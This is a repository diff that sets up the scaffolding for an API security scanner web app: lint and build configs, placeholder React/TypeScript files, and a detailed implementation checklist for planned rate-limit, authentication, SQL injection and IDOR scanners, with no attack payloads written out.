'react/jsx-no-useless-fragment': ['error', { allowExpressions: false }],
'react/jsx-pascal-case': ['error', { allowAllCaps: false }],
'react/no-array-index-key': 'warn',
'react/no-unstable-nested-components': 'error',
'react-hooks/rules-of-hooks': 'error',
'react-hooks/exhaustive-deps': 'warn',
'react-refresh/only-export-components': [
'warn',
{ allowConstantExport: true },
],
'jsx-a11y/alt-text': 'error',
'jsx-a11y/anchor-has-content': 'error',
'jsx-a11y/click-events-have-key-events': 'error',
'jsx-a11y/no-static-element-interactions': 'error',
'no-console': ['warn', { allow: ['warn', 'error'] }],
'no-debugger': 'error',
'no-alert': 'error',
'no-var': 'error',
'prefer-const': 'error',
'prefer-template': 'error',
'object-shorthand': 'error',
'no-nested-ternary': 'error',
'max-depth': ['error', 6],
'max-lines': ['error', { max: 2000, skipBlankLines: true, skipComments: true }],
'complexity': ['error', 55],
},
},
{
files: ['src/main.tsx'],
rules: {
'@typescript-eslint/no-non-null-assertion': 'off', // Allow document.getElementById('root')!
},
},
prettierConfig,
);

View File

@ -0,0 +1,23 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
<meta name="theme-color" content="#000000">
<meta name="description" content="API Security Scanner Project, React Typescript, Nginx, Docker, FastAPI, Python, Pydandic, OWASP">
<meta name="author" content="Carter Perez">
<meta property="og:locale" content="en_US">
<meta property="article:author" content="Carterperez-dev - REPLACE MY NAME">
<meta name="keywords" content="scanner, security, owasp, api scanner, api security, cybersecurity, projects, project">
<link rel="icon" href="/favicon.ico">
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
<link rel="manifest" href="/manifest.json">
<meta name="robots" content="index, follow">
<title>API Security Scanner</title>
</head>
<body>
<noscript>You need to enable JavaScript to run this app.</noscript>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,60 @@
{
"name": "api-security-scanner",
"version": "1.0.0",
"private": true,
"type": "module",
"scripts": {
"build": "vite build",
"dev": "vite",
"format": "prettier --write \"**/*.{ts,tsx,scss}\"",
"format:check": "prettier --check \"**/*.{ts,tsx,scss}\"",
"lint": "npm run lint:eslint && npm run lint:scss && npm run lint:types",
"lint:eslint": "eslint . --ext .ts,.tsx --max-warnings 0",
"lint:types": "tsc --project tsconfig.app.json --noEmit"
},
"dependencies": {
"@hookform/resolvers": "^5.2.1",
"@radix-ui/react-collapsible": "^1.1.12",
"@radix-ui/react-dialog": "^1.1.15",
"@radix-ui/react-dropdown-menu": "^2.1.16",
"@radix-ui/react-tabs": "^1.1.13",
"@radix-ui/react-toast": "^1.2.15",
"@radix-ui/react-tooltip": "^1.2.8",
"@tanstack/react-query": "^5.85.3",
"@tanstack/react-query-devtools": "^5.85.3",
"axios": "^1.12.2",
"clsx": "^2.1.1",
"date-fns": "^4.1.0",
"immer": "^10.1.1",
"react": "^19.1.1",
"react-dom": "^19.1.1",
"react-hook-form": "^7.62.0",
"react-icons": "^5.5.0",
"react-markdown": "^10.1.0",
"react-router-dom": "^7.8.1",
"recharts": "^3.1.2",
"socket.io-client": "^4.8.1",
"sonner": "^2.0.7",
"zod": "^4.0.17",
"zustand": "^5.0.7"
},
"devDependencies": {
"@eslint/js": "^9.33.0",
"@types/react": "^19.1.10",
"@types/react-dom": "^19.1.7",
"@vitejs/plugin-react": "^5.0.0",
"eslint": "^9.33.0",
"eslint-config-prettier": "^10.1.8",
"eslint-plugin-jsx-a11y": "^6.10.2",
"eslint-plugin-react": "^7.37.5",
"eslint-plugin-react-hooks": "^5.2.0",
"eslint-plugin-react-refresh": "^0.4.20",
"globals": "^16.3.0",
"husky": "^8.0.0",
"prettier": "^3.6.2",
"typescript": "~5.8.3",
"typescript-eslint": "^8.39.1",
"vite": "^7.1.2",
"vite-tsconfig-paths": "^5.1.4"
}
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 378 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 878 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

View File

@ -0,0 +1 @@
{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}

View File

@ -0,0 +1,24 @@
/**
* ©AngelaMos | 2025
* Main application component
*/
function App() {
return (
<div
style={{
backgroundColor: '#000',
color: '#fff',
minHeight: '100vh',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
fontFamily: 'system-ui, -apple-system, sans-serif',
}}
>
<h1>API Security Scanner - Placeholder</h1>
</div>
);
}
export default App;

View File

@ -0,0 +1,85 @@
/**
* ©AngelaMos | 2025
* All hardcoded values, API endpoints, and configuration constants
*/
/**
* API Configuration
*/
export const API_BASE_URL =
import.meta.env.VITE_API_URL || 'http://localhost/api';
export const API_ENDPOINTS = {
// Auth endpoints
AUTH: {
REGISTER: '/auth/register',
LOGIN: '/auth/login',
},
// Scan endpoints
SCANS: {
CREATE: '/scans',
LIST: '/scans',
GET: (id: number) => `/scans/${id}`,
DELETE: (id: number) => `/scans/${id}`,
},
} as const;
/**
* LocalStorage Keys
*/
export const STORAGE_KEYS = {
AUTH_TOKEN: 'auth_token',
USER: 'user',
} as const;
/**
* Application Constants
*/
export const APP_NAME = 'API Security Scanner';
export const APP_VERSION = '1.0.0';
/**
* Scan Configuration
*/
export const SCAN_TYPES = {
RATE_LIMIT: 'rate_limit',
AUTH: 'auth',
SQLI: 'sqli',
IDOR: 'idor',
} as const;
export const SCAN_TYPE_LABELS: Record<string, string> = {
[SCAN_TYPES.RATE_LIMIT]: 'Rate Limiting',
[SCAN_TYPES.AUTH]: 'Authentication',
[SCAN_TYPES.SQLI]: 'SQL Injection',
[SCAN_TYPES.IDOR]: 'IDOR',
};
/**
* Severity Levels
*/
export const SEVERITY = {
CRITICAL: 'critical',
HIGH: 'high',
MEDIUM: 'medium',
LOW: 'low',
INFO: 'info',
} as const;
export const SEVERITY_COLORS: Record<string, string> = {
[SEVERITY.CRITICAL]: '#dc2626',
[SEVERITY.HIGH]: '#ea580c',
[SEVERITY.MEDIUM]: '#f59e0b',
[SEVERITY.LOW]: '#3b82f6',
[SEVERITY.INFO]: '#6b7280',
};
/**
* Scan Status
*/
export const SCAN_STATUS = {
PENDING: 'pending',
RUNNING: 'running',
COMPLETED: 'completed',
FAILED: 'failed',
} as const;

View File

@ -0,0 +1,51 @@
/**
* ©AngelaMos | 2025
* Axios instance with request/response interceptors
*/
import axios, { AxiosError, AxiosResponse } from 'axios';
import { API_BASE_URL, STORAGE_KEYS } from '@/config/constants';
/**
* Create axios instance with base configuration
*/
export const api = axios.create({
baseURL: API_BASE_URL,
timeout: 30000,
headers: {
'Content-Type': 'application/json',
},
});
/**
* Request interceptor - attach auth token to requests
*/
api.interceptors.request.use(
(config) => {
const token = localStorage.getItem(STORAGE_KEYS.AUTH_TOKEN);
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
},
(error: AxiosError) => {
return Promise.reject(error);
},
);
/**
* Response interceptor - handle common errors
*/
api.interceptors.response.use(
(response: AxiosResponse) => {
return response;
},
(error: AxiosError) => {
if (error.response?.status === 401) {
localStorage.removeItem(STORAGE_KEYS.AUTH_TOKEN);
localStorage.removeItem(STORAGE_KEYS.USER);
window.location.href = '/login';
}
return Promise.reject(error);
},
);

View File

@ -0,0 +1,19 @@
/**
* ©AngelaMos | 2025
* TanStack Query client configuration
*/
import { QueryClient } from '@tanstack/react-query';
export const queryClient = new QueryClient({
defaultOptions: {
queries: {
retry: 1,
refetchOnWindowFocus: false,
staleTime: 5 * 60 * 1000, // 5 minutes
},
mutations: {
retry: false,
},
},
});

View File

@ -0,0 +1,14 @@
/**
* ©AngelaMos | 2025
* Application entry point
*/
import { StrictMode } from 'react';
import { createRoot } from 'react-dom/client';
import App from './App.tsx';
createRoot(document.getElementById('root')!).render(
<StrictMode>
<App />
</StrictMode>,
);

View File

@ -0,0 +1,51 @@
/**
* ©AngelaMos | 2025
* Application routing configuration
*/
import { createBrowserRouter } from 'react-router-dom';
/**
* Placeholder components for routes
*/
const PlaceholderPage = ({ title }: { title: string }) => (
<div
style={{
backgroundColor: '#000',
color: '#fff',
minHeight: '100vh',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
fontFamily: 'system-ui, -apple-system, sans-serif',
flexDirection: 'column',
gap: '1rem',
}}
>
<h1>{title}</h1>
<p style={{ color: '#888' }}>Page coming soon...</p>
</div>
);
export const router = createBrowserRouter([
{
path: '/',
element: <PlaceholderPage title="Dashboard" />,
},
{
path: '/login',
element: <PlaceholderPage title="Login" />,
},
{
path: '/register',
element: <PlaceholderPage title="Register" />,
},
{
path: '/scan',
element: <PlaceholderPage title="New Scan" />,
},
{
path: '/history',
element: <PlaceholderPage title="Scan History" />,
},
]);

View File

@ -0,0 +1,28 @@
{
"compilerOptions": {
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",
"target": "ES2022",
"useDefineForClassFields": true,
"lib": ["ES2022", "DOM", "DOM.Iterable"],
"module": "ESNext",
"skipLibCheck": true,
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"verbatimModuleSyntax": true,
"moduleDetection": "force",
"noEmit": true,
"jsx": "react-jsx",
"isolatedModules": true,
"baseUrl": ".",
"paths": {
"@/*": ["./src/*"],
},
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"noFallthroughCasesInSwitch": true,
"noImplicitReturns": true,
"exactOptionalPropertyTypes": true
},
"include": ["src"]
}

View File

@ -0,0 +1,7 @@
{
"files": [],
"references": [
{ "path": "./tsconfig.app.json" },
{ "path": "./tsconfig.node.json" }
]
}

View File

@ -0,0 +1,22 @@
{
"compilerOptions": {
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo",
"target": "ES2023",
"lib": ["ES2023"],
"module": "ESNext",
"skipLibCheck": true,
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"verbatimModuleSyntax": true,
"moduleDetection": "force",
"noEmit": true,
"composite": true,
"resolveJsonModule": true,
"isolatedModules": true,
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"noFallthroughCasesInSwitch": true
},
"include": ["vite.config.ts"]
}

View File

@ -0,0 +1,41 @@
// ===================
// © AngelaMos | 2025
// vite.config.ts
// ===================
import react from '@vitejs/plugin-react';
import tsconfigPaths from 'vite-tsconfig-paths';
import { defineConfig } from 'vite';
export default defineConfig({
plugins: [react(), tsconfigPaths()],
resolve: {
alias: {
'@': '/src',
},
extensions: ['.ts', '.tsx', '.js', '.jsx', '.json'],
},
build: {
outDir: 'build',
sourcemap: false,
rollupOptions: {
output: {
manualChunks: {
vendor: ['react', 'react-dom'],
router: ['react-router-dom'],
query: ['@tanstack/react-query'],
},
},
},
},
server: {
host: '0.0.0.0',
port: 5173,
proxy: {
'/api': {
target: process.env.VITE_PROXY_TARGET || 'http://backend:8000',
changeOrigin: true,
rewrite: (path) => path.replace(/^\/api/, ''),
},
},
},
});

View File

@ -0,0 +1,33 @@
{
"name": "api-security-scanner",
"version": "1.0.0",
"description": "Automated API security testing tool with FastAPI backend and ReactTS frontend",
"private": true,
"scripts": {
"dev": "docker-compose -f docker-compose.dev.yml up",
"dev:build": "docker compose -f docker-compose.dev.yml up --build",
"dev:down": "docker compose -f docker-compose.dev.yml down",
"dev:logs": "docker compose -f docker-compose.dev.yml logs -f",
"prod": "docker compose -f docker-compose.prod.yml up -d",
"prod:build": "docker compose -f docker-compose.prod.yml up --build -d",
"prod:down": "docker compose -f docker-compose.prod.yml down",
"prod:logs": "docker compose -f docker-compose.prod.yml logs -f",
"clean": "docker compose -f docker-compose.dev.yml down -v && docker compose -f docker-compose.prod.yml down -v",
"clean:all": "npm run clean && docker system prune -af --volumes"
},
"repository": {
"type": "git",
"url": "https://github.com/carterperez-dev/api-security-scanner"
},
"keywords": [
"security",
"api-testing",
"vulnerability-scanner",
"pentesting",
"fastapi",
"react",
"docker"
],
"author": "CarerPerez-dev - also replace my github url username with yours",
"license": "MIT"
}

698
checklist.md Normal file
View File

@ -0,0 +1,698 @@
# API Security Testing Tool - Implementation Checklist
**Project Start Date:** 2025-11-08
**Status:** In Progress
---
## ✅ PROJECT SETUP
### Initial Structure
- [x] Create `/backend` directory
- [ ] Create `/frontend` directory
- [ ] Create `/conf` directory for Docker/Nginx configs
- [x] Create root `.gitignore` file
---
## 🐍 BACKEND - FOUNDATION
### Python Project Setup
- [ ] Create `backend/pyproject.toml` with project metadata
- [ ] Create `backend/requirements.txt` with all dependencies
- [ ] Create `backend/.python-version` (specify Python 3.11)
- [x] Create `backend/.style.yapf` for code formatting
- [ ] Create `backend/.env.example` with all required environment variables
- [ ] Create `backend/__init__.py` (empty, marks as package)
### Core Configuration
- [ ] Create `backend/config.py` with Settings class (Pydantic BaseSettings)
- [ ] Add all magic number constants to config.py (PASSWORD_MIN_LENGTH, MAX_REQUESTS_DEFAULT, etc.)
- [ ] Add database URL configuration
- [ ] Add JWT settings (SECRET_KEY, ALGORITHM, ACCESS_TOKEN_EXPIRE_MINUTES)
- [ ] Add CORS origins configuration
- [ ] Add scanner default settings
- [ ] Implement cached settings function with @lru_cache
### Core Modules - `backend/core/`
- [ ] Create `backend/core/__init__.py`
- [ ] Create `backend/core/enums.py` with ScanStatus enum
- [ ] Add Severity enum to enums.py
- [ ] Add TestType enum to enums.py
- [ ] Create `backend/core/database.py` with SQLAlchemy engine setup
- [ ] Add SessionLocal factory to database.py
- [ ] Add Base declarative_base to database.py
- [ ] Add get_db() dependency function to database.py
- [ ] Create `backend/core/security.py` with bcrypt password hashing
- [ ] Add JWT token creation function to security.py
- [ ] Add JWT token decode/verify function to security.py
- [ ] Create `backend/core/dependencies.py` with HTTPBearer security
- [ ] Add get_current_user() dependency to dependencies.py
---
## 🗄️ BACKEND - DATA LAYER
### Models - `backend/models/`
- [ ] Create `backend/models/__init__.py`
- [ ] Create `backend/models/User.py` (thin, just table definition)
- [ ] Create `backend/models/ScanResult.py` (scan history table)
- [ ] Create `backend/models/ApiTarget.py` (optional: store target APIs)
### Schemas (Pydantic V2) - `backend/schemas/`
- [ ] Create `backend/schemas/__init__.py`
- [ ] Create `backend/schemas/shared_schemas.py` with generic response models
- [ ] Create `backend/schemas/user_schemas.py` with UserCreate schema
- [ ] Add UserLogin schema to user_schemas.py
- [ ] Add UserResponse schema with ConfigDict(from_attributes=True) to user_schemas.py
- [ ] Add TokenResponse schema to user_schemas.py
- [ ] Create `backend/schemas/scan_schemas.py` with ScanRequest schema
- [ ] Add ScanResult schema to scan_schemas.py (individual test result)
- [ ] Add ScanResponse schema to scan_schemas.py (complete scan response)
- [ ] Replace ALL magic numbers in Field() with config constants
### TypedDicts - `backend/types/`
- [ ] Create `backend/types/__init__.py`
- [ ] Create `backend/types/scan_types.py` with ScannerResult TypedDict
- [ ] Add ScannerConfig TypedDict to scan_types.py
- [ ] Create `backend/types/service_types.py` with service layer TypedDicts
- [ ] Create `backend/types/repository_types.py` with UserDict TypedDict
### Repositories - `backend/repositories/`
- [ ] Create `backend/repositories/__init__.py`
- [ ] Create `backend/repositories/shared_repository.py` with base repository functions
- [ ] Create `backend/repositories/user_repository.py` as static class
- [ ] Add get_by_email() method to UserRepository
- [ ] Add get_by_id() method to UserRepository
- [ ] Add create() method to UserRepository
- [ ] Add get_all_active() method to UserRepository
- [ ] Create `backend/repositories/scan_repository.py` as static class
- [ ] Add save_scan() method to ScanRepository
- [ ] Add get_by_user() method to ScanRepository
- [ ] Add get_by_id() method to ScanRepository
---
## 🧠 BACKEND - BUSINESS LOGIC
### Services - `backend/services/`
- [ ] Create `backend/services/__init__.py`
- [ ] Create `backend/services/auth_service.py` with AuthService class
- [ ] Add register_user() method to AuthService
- [ ] Add login_user() method to AuthService (returns TokenResponse)
- [ ] Add password validation logic to AuthService
- [ ] Add user existence check to AuthService
- [ ] Create `backend/services/user_service.py` with UserService class
- [ ] Add get_user_profile() method to UserService
- [ ] Add update_user() method to UserService
- [ ] Create `backend/services/scan_service.py` with ScanService class
- [ ] Add run_scan() async method to ScanService
- [ ] Add get_scan_history() method to ScanService
- [ ] Add get_scan_by_id() method to ScanService
- [ ] Implement concurrent scanner execution with asyncio.gather() in ScanService
---
## 🔍 BACKEND - SECURITY SCANNERS
### Base Scanner - `backend/scanners/`
- [ ] Create `backend/scanners/__init__.py`
- [ ] Create `backend/scanners/base_scanner.py` with BaseScanner ABC
- [ ] Add abstract scan() method to BaseScanner
- [ ] Add _create_result() helper method to BaseScanner
### Rate Limit Scanner
- [ ] Create `backend/scanners/rate_limit_scanner.py` inheriting BaseScanner
- [ ] Implement concurrent request sending with httpx AsyncClient
- [ ] Add response analysis logic (count 429 status codes)
- [ ] Add vulnerability detection logic (no rate limiting = vulnerable)
- [ ] Add evidence collection (requests_sent, successful_requests, rate_limited)
- [ ] Add recommendations for vulnerable cases
- [ ] Add _send_request() helper method
### Auth Scanner
- [ ] Create `backend/scanners/auth_scanner.py` inheriting BaseScanner
- [ ] Implement expired token test
- [ ] Implement missing token test
- [ ] Implement malformed token test
- [ ] Implement token location tests (header/query/body)
- [ ] Add vulnerability detection logic
- [ ] Add evidence collection
- [ ] Add recommendations
### SQLi Scanner
- [ ] Create `backend/scanners/sqli_scanner.py` inheriting BaseScanner
- [ ] Define common SQLi payloads list
- [ ] Implement payload injection in URL params
- [ ] Implement payload injection in request body
- [ ] Implement error-based detection (look for SQL errors in responses)
- [ ] Implement time-based detection (measure response times)
- [ ] Add vulnerability detection logic
- [ ] Add evidence collection (vulnerable params, payloads that worked)
- [ ] Add recommendations
### IDOR/BOLA Scanner
- [ ] Create `backend/scanners/idor_scanner.py` inheriting BaseScanner
- [ ] Implement ID parameter detection in URLs
- [ ] Implement ID increment/decrement testing
- [ ] Implement unauthorized access detection (200 status = vulnerable)
- [ ] Add vulnerability detection logic
- [ ] Add evidence collection (accessible IDs, endpoints)
- [ ] Add recommendations
---
## 🛣️ BACKEND - API ROUTES
### Routes - `backend/routes/`
- [ ] Create `backend/routes/__init__.py`
- [ ] Create `backend/routes/auth.py` with APIRouter
- [ ] Add POST /api/auth/register endpoint (returns UserResponse)
- [ ] Add POST /api/auth/login endpoint (returns TokenResponse)
- [ ] Add exception handling for ValueError in auth routes
- [ ] Create `backend/routes/users.py` with APIRouter
- [ ] Add GET /api/users/profile endpoint (protected)
- [ ] Add PUT /api/users/update endpoint (protected)
- [ ] Create `backend/routes/scans.py` with APIRouter
- [ ] Add POST /api/scans/run endpoint (async, protected)
- [ ] Add GET /api/scans/history endpoint (protected)
- [ ] Add GET /api/scans/{scan_id} endpoint (protected)
### Main Application
- [ ] Create `backend/main.py` with FastAPI app initialization
- [ ] Add CORS middleware with configured origins
- [ ] Include auth router with prefix /api/auth
- [ ] Include users router with prefix /api/users
- [ ] Include scans router with prefix /api/scans
- [ ] Add root health check endpoint GET /
- [ ] Add database table creation (Base.metadata.create_all)
- [ ] Configure docs URL as /api/docs
- [ ] Configure redoc URL as /api/redoc
- [ ] Add uvicorn run configuration if __name__ == "__main__"
---
## ⚛️ FRONTEND - FOUNDATION
### Vite + React + TypeScript Setup
- [ ] Initialize Vite project with React + TypeScript template in /frontend
- [ ] Create `frontend/tsconfig.json` with strict mode enabled
- [ ] Create `frontend/vite.config.ts` with path aliases (@/)
- [ ] Create `frontend/.eslintrc.cjs` with TypeScript rules
- [ ] Create `frontend/.prettierrc` with formatting rules
- [ ] Create `frontend/.env.example` with VITE_API_URL
### Package Installation
- [ ] Install React and React-DOM
- [ ] Install react-router-dom for routing
- [ ] Install @tanstack/react-query for server state
- [ ] Install zustand for UI state management
- [ ] Install axios for HTTP requests
- [ ] Install zod for validation
- [ ] Install react-hook-form for forms
- [ ] Install @hookform/resolvers for Zod integration
- [ ] Install @radix-ui/react-tabs for accessible tabs
- [ ] Install @radix-ui/react-dialog for modals
- [ ] Install recharts for data visualization
- [ ] Install react-icons for icons
### Frontend Structure
- [ ] Create `frontend/src/config/` directory
- [ ] Create `frontend/src/types/` directory
- [ ] Create `frontend/src/hooks/` directory
- [ ] Create `frontend/src/lib/` directory
- [ ] Create `frontend/src/store/` directory
- [ ] Create `frontend/src/services/` directory
- [ ] Create `frontend/src/components/` directory
- [ ] Create `frontend/src/pages/` directory
- [ ] Create `frontend/src/styles/` directory
---
## ⚙️ FRONTEND - CONFIGURATION
### Config Files - `frontend/src/config/`
- [ ] Create `frontend/src/config/constants.ts` with APP_CONFIG object
- [ ] Add ROUTES constants to constants.ts (LOGIN, REGISTER, DASHBOARD, etc.)
- [ ] Add UI_TEXT constants to constants.ts (buttons, headers, labels, placeholders, errors, success)
- [ ] Add SCAN_CONFIG constants to constants.ts (max requests, available tests)
- [ ] Add SEVERITY_CONFIG to constants.ts (colors, labels, icons)
- [ ] Create `frontend/src/config/api.ts` with API_CONFIG object
- [ ] Add BASE_URL to api.ts (from env var)
- [ ] Add TIMEOUT to api.ts
- [ ] Add all ENDPOINTS to api.ts (AUTH, SCANS, USERS)
- [ ] Create `frontend/src/config/theme.css` with CSS variables
- [ ] Add color variables (primary, status colors, backgrounds, text, borders)
- [ ] Add spacing variables to theme.css
- [ ] Add border-radius variables to theme.css
- [ ] Add shadow variables to theme.css
- [ ] Add transition variables to theme.css
- [ ] Add typography variables to theme.css
- [ ] Add z-index layer variables to theme.css
---
## 📝 FRONTEND - TYPES
### Type Definitions - `frontend/src/types/`
- [ ] Create `frontend/src/types/api.types.ts`
- [ ] Add LoginRequest interface to api.types.ts
- [ ] Add RegisterRequest interface to api.types.ts
- [ ] Add AuthResponse interface to api.types.ts
- [ ] Add UserResponse interface to api.types.ts
- [ ] Add TestType type union to api.types.ts
- [ ] Add ScanStatus type union to api.types.ts
- [ ] Add Severity type union to api.types.ts
- [ ] Add ScanRequest interface to api.types.ts
- [ ] Add ScanResult interface to api.types.ts
- [ ] Add ScanResponse interface to api.types.ts
- [ ] Create `frontend/src/types/scan.types.ts` for scanner-specific types
- [ ] Create `frontend/src/types/auth.types.ts` for auth-specific types
---
## 🔌 FRONTEND - API INTEGRATION
### API Client - `frontend/src/lib/`
- [ ] Create `frontend/src/lib/api.ts` with axios instance creation
- [ ] Configure axios baseURL from API_CONFIG
- [ ] Configure axios timeout
- [ ] Add request interceptor to attach JWT token from localStorage
- [ ] Add response interceptor to handle 401 errors (logout + redirect)
- [ ] Create `frontend/src/lib/queryClient.ts` with TanStack Query setup
- [ ] Configure default query options (refetchOnWindowFocus, retry, staleTime)
- [ ] Create `frontend/src/lib/utils.ts` for helper functions
### Services - `frontend/src/services/`
- [ ] Create `frontend/src/services/authService.ts`
- [ ] Add login() function to authService (store token in localStorage)
- [ ] Add register() function to authService
- [ ] Add logout() function to authService (remove token + redirect)
- [ ] Add getToken() function to authService
- [ ] Add isAuthenticated() function to authService
- [ ] Create `frontend/src/services/scanService.ts`
- [ ] Add runScan() function to scanService
- [ ] Add getScanHistory() function to scanService
- [ ] Add getScanById() function to scanService
---
## 🪝 FRONTEND - CUSTOM HOOKS
### Hooks - `frontend/src/hooks/`
- [ ] Create `frontend/src/hooks/useAuth.ts`
- [ ] Add useLogin() hook with useMutation (invalidates queries on success)
- [ ] Add useRegister() hook with useMutation
- [ ] Add useLogout() hook
- [ ] Add useAuth() hook (returns isAuthenticated + logout)
- [ ] Create `frontend/src/hooks/useScan.ts`
- [ ] Add useRunScan() hook with useMutation (invalidates scan history)
- [ ] Add useScanHistory() hook with useQuery
- [ ] Add useScan(scanId) hook with useQuery (enabled when scanId exists)
- [ ] Create `frontend/src/hooks/useLocalStorage.ts` for generic localStorage hook
---
## 🏪 FRONTEND - STATE MANAGEMENT
### Zustand Store - `frontend/src/store/`
- [ ] Create `frontend/src/store/uiStore.ts` with Zustand store
- [ ] Add theme state (dark/light) to uiStore
- [ ] Add setTheme() action to uiStore
- [ ] Add toggleTheme() action to uiStore
- [ ] Add sidebarOpen state to uiStore
- [ ] Add toggleSidebar() action to uiStore
- [ ] Add isLoading state to uiStore
- [ ] Add setLoading() action to uiStore
- [ ] Implement persist middleware for theme and sidebarOpen
---
## 🎨 FRONTEND - COMMON COMPONENTS
### Common Components - `frontend/src/components/common/`
- [ ] Create `frontend/src/components/common/Button.tsx`
- [ ] Add Button component with variant prop (primary, secondary, danger, success, ghost)
- [ ] Add size prop to Button (sm, md, lg)
- [ ] Add isLoading prop to Button (shows spinner)
- [ ] Create `frontend/src/styles/components/Button.css` with all variants
- [ ] Create `frontend/src/components/common/Input.tsx`
- [ ] Add Input component with label, error, and all HTML input props
- [ ] Create `frontend/src/styles/components/Input.css`
- [ ] Create `frontend/src/components/common/Card.tsx`
- [ ] Create `frontend/src/styles/components/Card.css`
- [ ] Create `frontend/src/components/common/Badge.tsx` for status/severity badges
- [ ] Create `frontend/src/styles/components/Badge.css` with severity colors
- [ ] Create `frontend/src/components/common/LoadingSpinner.tsx`
- [ ] Create `frontend/src/styles/components/LoadingSpinner.css`
---
## 🏗️ FRONTEND - LAYOUT COMPONENTS
### Layout - `frontend/src/components/layout/`
- [ ] Create `frontend/src/components/layout/Header.tsx`
- [ ] Add logo/app name to Header
- [ ] Add user email display to Header
- [ ] Add logout button to Header
- [ ] Add theme toggle to Header
- [ ] Create `frontend/src/styles/components/Header.css`
- [ ] Create `frontend/src/components/layout/Sidebar.tsx`
- [ ] Add navigation links to Sidebar (Dashboard, Scan, History)
- [ ] Add active route highlighting to Sidebar
- [ ] Create `frontend/src/styles/components/Sidebar.css`
- [ ] Create `frontend/src/components/layout/Layout.tsx` with Outlet
- [ ] Combine Header + Sidebar + main content area in Layout
- [ ] Create `frontend/src/styles/components/Layout.css`
---
## 🔐 FRONTEND - AUTH COMPONENTS
### Auth Components - `frontend/src/components/auth/`
- [ ] Create `frontend/src/components/auth/LoginForm.tsx`
- [ ] Add React Hook Form setup with Zod validation to LoginForm
- [ ] Add email field to LoginForm (validated with EmailStr)
- [ ] Add password field to LoginForm (min 8 chars)
- [ ] Add submit button with loading state to LoginForm
- [ ] Add error message display to LoginForm
- [ ] Add "Register" link to LoginForm
- [ ] Create `frontend/src/styles/components/LoginForm.css`
- [ ] Create `frontend/src/components/auth/RegisterForm.tsx`
- [ ] Add React Hook Form setup with Zod validation to RegisterForm
- [ ] Add email and password fields to RegisterForm
- [ ] Add password confirmation field to RegisterForm
- [ ] Add submit button with loading state to RegisterForm
- [ ] Add error message display to RegisterForm
- [ ] Add "Login" link to RegisterForm
- [ ] Create `frontend/src/styles/components/RegisterForm.css`
---
## 🔬 FRONTEND - SCAN COMPONENTS
### Scan Components - `frontend/src/components/scan/`
- [ ] Create `frontend/src/components/scan/ScanConfigForm.tsx`
- [ ] Add React Hook Form setup with Zod validation to ScanConfigForm
- [ ] Add target_url field to ScanConfigForm (validated as URL)
- [ ] Add auth_token field to ScanConfigForm (optional)
- [ ] Add tests_to_run checkboxes to ScanConfigForm (from SCAN_CONFIG)
- [ ] Add max_requests number input to ScanConfigForm (min/max from config)
- [ ] Add submit button with loading state to ScanConfigForm
- [ ] Add form error handling to ScanConfigForm
- [ ] Create `frontend/src/styles/components/ScanConfigForm.css`
- [ ] Create `frontend/src/components/scan/ScanResults.tsx`
- [ ] Add results summary header to ScanResults (total tests, vulnerabilities found)
- [ ] Add results grid to ScanResults (maps over results array)
- [ ] Add export button to ScanResults
- [ ] Create `frontend/src/styles/components/ScanResults.css`
- [ ] Create `frontend/src/components/scan/ResultCard.tsx`
- [ ] Add test name header to ResultCard
- [ ] Add status badge to ResultCard (uses SEVERITY_CONFIG for colors/icons)
- [ ] Add details section to ResultCard
- [ ] Add evidence section to ResultCard (formatted JSON)
- [ ] Add recommendations list to ResultCard
- [ ] Add conditional styling for vulnerable vs safe in ResultCard
- [ ] Create `frontend/src/styles/components/ResultCard.css`
- [ ] Create `frontend/src/components/scan/ScanHistory.tsx`
- [ ] Add table/list view to ScanHistory
- [ ] Add date, target URL, vulnerabilities count to each history item
- [ ] Add "View Details" button to each history item
- [ ] Create `frontend/src/styles/components/ScanHistory.css`
---
## 📄 FRONTEND - PAGES
### Pages - `frontend/src/pages/`
- [ ] Create `frontend/src/pages/LoginPage.tsx`
- [ ] Add LoginForm component to LoginPage
- [ ] Add page title and description to LoginPage
- [ ] Create `frontend/src/styles/pages/LoginPage.css`
- [ ] Create `frontend/src/pages/RegisterPage.tsx`
- [ ] Add RegisterForm component to RegisterPage
- [ ] Add page title and description to RegisterPage
- [ ] Create `frontend/src/styles/pages/RegisterPage.css`
- [ ] Create `frontend/src/pages/DashboardPage.tsx`
- [ ] Add welcome message to DashboardPage
- [ ] Add quick stats (total scans, recent vulnerabilities) to DashboardPage
- [ ] Add recent scan results to DashboardPage
- [ ] Create `frontend/src/styles/pages/DashboardPage.css`
- [ ] Create `frontend/src/pages/ScanPage.tsx`
- [ ] Add ScanConfigForm to ScanPage
- [ ] Add ScanResults display to ScanPage (conditional on scan completion)
- [ ] Create `frontend/src/styles/pages/ScanPage.css`
- [ ] Create `frontend/src/pages/HistoryPage.tsx`
- [ ] Add ScanHistory component to HistoryPage
- [ ] Add pagination to HistoryPage
- [ ] Create `frontend/src/styles/pages/HistoryPage.css`
---
## 🎯 FRONTEND - APP SETUP
### Main App Files
- [ ] Create `frontend/src/App.tsx` with React Router setup
- [ ] Add Routes for /login, /register to App.tsx
